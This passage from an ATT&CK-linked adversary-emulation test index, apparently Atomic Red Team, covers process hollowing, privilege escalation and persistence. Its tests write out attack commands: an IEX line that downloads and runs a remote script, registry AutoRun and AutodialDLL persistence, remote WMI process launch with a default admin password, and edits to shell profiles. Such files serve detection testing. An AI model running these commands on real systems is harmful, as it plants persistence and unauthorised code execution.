but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: |- Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Process: Process Modification' - 'Process: OS API Execution' - 'Process: Process Access' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4 created: '2020-01-14T17:21:54.470Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/012 external_id: T1055.012 - source_name: Nviso Spoof Command Line 2020 description: 'Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.' url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Leitch Hollowing description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014. url: http://www.autosectools.com/process-hollowing.pdf - source_name: Mandiant Endpoint Evading 2019 description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.' url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1055.012 atomic_tests: - name: Process Hollowing using PowerShell auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c description: | This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent. Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow (executable that will run inside the sponsor) type: string default: C:\Windows\System32\cmd.exe parent_process_name: description: Name of the parent process type: string default: explorer sponsor_binary_path: description: Path of the sponsor binary (executable that will host the binary) type: string default: C:\Windows\System32\notepad.exe spawnto_process_name: description: Name of the process to spawn type: string default: notepad executor: command: | . "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1" $ppid=Get-Process #{parent_process_name} | select -expand id Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore ' name: powershell - name: RunPE via VBA auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b description: 'This module executes notepad.exe from within the WINWORD.EXE process ' supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n" name: powershell - name: Process Hollowing in Go using CreateProcessW WinAPI auto_generated_guid: c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a description: | Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow type: string default: C:\Windows\System32\werfault.exe hollow_process_name: description: Name of the process to hollow type: string default: werfault executor: name: powershell elevation_required: false command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug ' cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue - name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012) auto_generated_guid: 94903cc5-d462-498a-b919-b1e5ab155fee description: | Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe allows for the retrieval of output generated from executed shellcode. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow type: string default: C:\Windows\System32\werfault.exe hollow_process_name: description: Name of the process to hollow type: string default: werfault executor: name: powershell elevation_required: false command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug ' cleanup_command: |- Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue T1068: technique: modified: '2023-10-31T14:00:00.188Z' name: Exploitation for Privilege Escalation description: |- Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics - Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security - Idan Revivo, @idanr86, Team Nautilus Aqua Security - David Tayouri x_mitre_deprecated: false x_mitre_detection: |- Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Containers x_mitre_version: '1.5' x_mitre_data_sources: - 'Driver: Driver Load' - 'Process: Process Creation' x_mitre_effective_permissions: - User x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839 created: '2017-05-31T21:30:55.066Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1068 external_id: T1068 - source_name: ESET InvisiMole June 2020 description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - source_name: Microsoft Driver Block Rules description: Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules - source_name: Unit42 AcidBox June 2020 description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.' url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546: technique: modified: '2024-03-01T15:49:15.588Z' name: Event Triggered Execution description: "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - SaaS - IaaS - Office 365 x_mitre_version: '1.3' x_mitre_data_sources: - 'Module: Module Load' - 'WMI: WMI Creation' - 'File: File Metadata' - 'File: File Creation' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Cloud Service: Cloud Service Modification' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db created: '2020-01-22T21:04:23.285Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546 external_id: T1546 - source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: Microsoft DART Case Report 001 description: Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022. url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team - source_name: amnesia malware description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ - source_name: Backdooring an AWS account description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022. url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9 - source_name: Varonis Power Automate Data Exfiltration description: Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022. url: https://www.varonis.com/blog/power-automate-data-exfiltration - source_name: Malware Persistence on OS X description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546 atomic_tests: - name: Persistence with Custom AutodialDLL auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b description: "The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n" supported_platforms: - windows dependencies: - description: 'AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll ' prereq_command: 'if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll" executor: command: 'Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll ' cleanup_command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll name: powershell elevation_required: true - name: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation) auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell elevation_required: true - name: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation) auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: |- $path = "HKCU:\Software\Microsoft\Command Processor" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell - name: WMI Invoke-CimMethod Start Process auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577 description: | The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process. supported_platforms: - windows input_arguments: dest: description: destination computer name type: string default: localhost password: description: password for account type: string default: P@ssword1 username: description: account to use type: string default: Administrator process: description: process to spawn type: string default: calc.exe executor: name: powershell elevation_required: true command: "# Set the remote computer name and credentials\n $RemoteComputer = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n \ Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n" - name: Adding custom debugger for Windows Error Reporting auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302 description: | When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework supported_platforms: - windows executor: command: 'reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f ' cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f ' name: command_prompt elevation_required: true T1546.004: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Robert Wilson - Tony Lambert, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2 type: attack-pattern created: '2020-01-24T14:13:45.936Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.004 url: https://attack.mitre.org/techniques/T1546/004 - source_name: intezer-kaiji-malware url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.' - source_name: bencane blog bashrc url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/ description: Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021. - source_name: anomali-rocke-tactics url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020. - source_name: Linux manual bash invocation url: https://wiki.archlinux.org/index.php/Bash#Invocation description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021. - source_name: Tsunami url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020. - source_name: anomali-linux-rabbit url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020. - source_name: Magento url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020. - source_name: ScriptingOSX zsh url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/ description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.' - source_name: PersistentJXA_leopitt url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021. - source_name: code_persistence_zsh url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021. - source_name: macOS MS office sandbox escape url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021. - source_name: ESF_filemonitor url: https://objective-see.com/blog/blog_0x48.html description: Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: .bash_profile .bashrc and .shrc' description: "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n" x_mitre_is_subtechnique: true x_mitre_version: '2.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.004 atomic_tests: - name: Add command to .bash_profile auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f description: 'Adds a command to the .bash_profile file of the current user ' supported_platforms: - macos - linux input_arguments: command_to_add: description: Command to add to the .bash_profile file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.bash_profile ' cleanup_command: | head -n '-2' ~/.bash_profile > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bash_profile name: sh - name: Add command to .bashrc auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f description: 'Adds a command to the .bashrc file of the current user ' supported_platforms: - macos - linux input_arguments: command_to_add: description: Command to add to the .bashrc file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.bashrc ' cleanup_command: | head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc name: sh - name: Add command to .shrc auto_generated_guid: 41502021-591a-4649-8b6e-83c9192aff53 description: 'Adds a command to the .shrc file of the current user ' supported_platforms: - linux input_arguments: command_to_add: description: Command to add to the .shrc file type: string default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004 executor: command: 'echo ''#{command_to_add}'' >> ~/.shrc ' cleanup_command: | head -n '-2' ~/.shrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.shrc name: sh - name: Append to the system shell profile auto_generated_guid: 694b3cc8-6a78-4d35-9e74-0123d009e94b description: 'An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the /etc/profile file type: string default: "# Hello from Atomic Red Team T1546.004" executor: elevation_required: true name: sh command: 'echo ''#{text_to_append}'' >> /etc/profile ' cleanup_command: 'sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile ' - name: Append commands user shell profile auto_generated_guid: bbdb06bc-bab6-4f5b-8232-ba3fbed51d77 description: 'An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the ~/.profile file type: string default: "# Atomic Red Team was here... T1546.004" executor: elevation_required: false name: sh command: 'echo ''#{text_to_append}'' >> ~/.profile ' cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile ' - name: System shell profile scripts auto_generated_guid: 8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4 description: 'An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in. ' supported_platforms: - linux input_arguments: text_to_append: description: Text to append to the /etc/profile.d/bash_completion.sh file type: string default: "# Atomic Red Team was here... T1546.004" executor: elevation_required: true name: sh command: 'echo ''#{text_to_append}'' >> /etc/profile.d/bash_completion.sh ' cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh ' - name: Create/Append to .bash_logout auto_generated_guid: 37ad2f24-7c53-4a50-92da-427a4ad13f58 description: "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an \"interactive login shell session\" i.e. via the console, SSH, /bin/bash -l or su -l . \n\nThis test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --create-home --shell /bin/bash art su --login art echo 'echo "Atomic Red Team was here... T1546.004" >> $HOME/art.txt' >> $HOME/.bash_logout cleanup_command: 'userdel -fr art ' T1134.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Alain Homewood, Insomnia Security - Vincent Le Toux object_marking_refs: - 